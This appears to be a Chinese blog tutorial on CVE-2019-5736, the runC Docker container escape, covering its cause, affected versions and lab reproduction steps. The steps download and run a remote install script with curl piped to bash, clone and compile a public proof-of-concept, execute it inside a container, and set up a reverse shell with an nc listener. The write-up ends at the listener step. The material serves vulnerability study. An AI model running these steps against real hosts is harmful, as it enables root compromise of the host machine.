CVE-2019-5736:Docker逃逸漏洞

一:概述

2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的Docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。

二:漏洞原理

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。

像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

三:利用方式

  • 宿主机利用攻击者提供的image来创建一个新的container
  • 拥有container root权限,并且该container后续被docker exec attach

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

四:影响版本

docker version <=18.09.2
RunC version <=1.0-rc6

五:漏洞复现

系统

环境作用

Ubuntu 18.04

Docker/

Centos

反弹shell

步骤一:使用一下命令在Ubuntu上部署漏洞环境,若没有Curl则进行安装即可..

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/ -o install.sh && bash install.sh

步骤二:测试环境并拉去镜像文件...

docker --version
docerk-runc --version
sudo docker pull ubuntu:18.04
sudo docker run -it --net=host ubuntu:18.04 /bin/bash

步骤三:使用以下命令拉去利用工具并修改Payload为反弹Shell... 

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

 步骤四:编译生成payload.....

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

 

 步骤五:将Docker拷贝到容器中,此时可以模拟攻击者获取了Docker容器权限并在容器上传Payload进行Docker逃逸,执行Payload并等待受害者去启动容器...

sudo docker cp main 56c89f510e65:/home
sudo docker exec -it 56c89f510e65 bash
cd /home/
chmod 777 main
./main

 步骤五:攻击者监听NC并模拟用户启动...

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值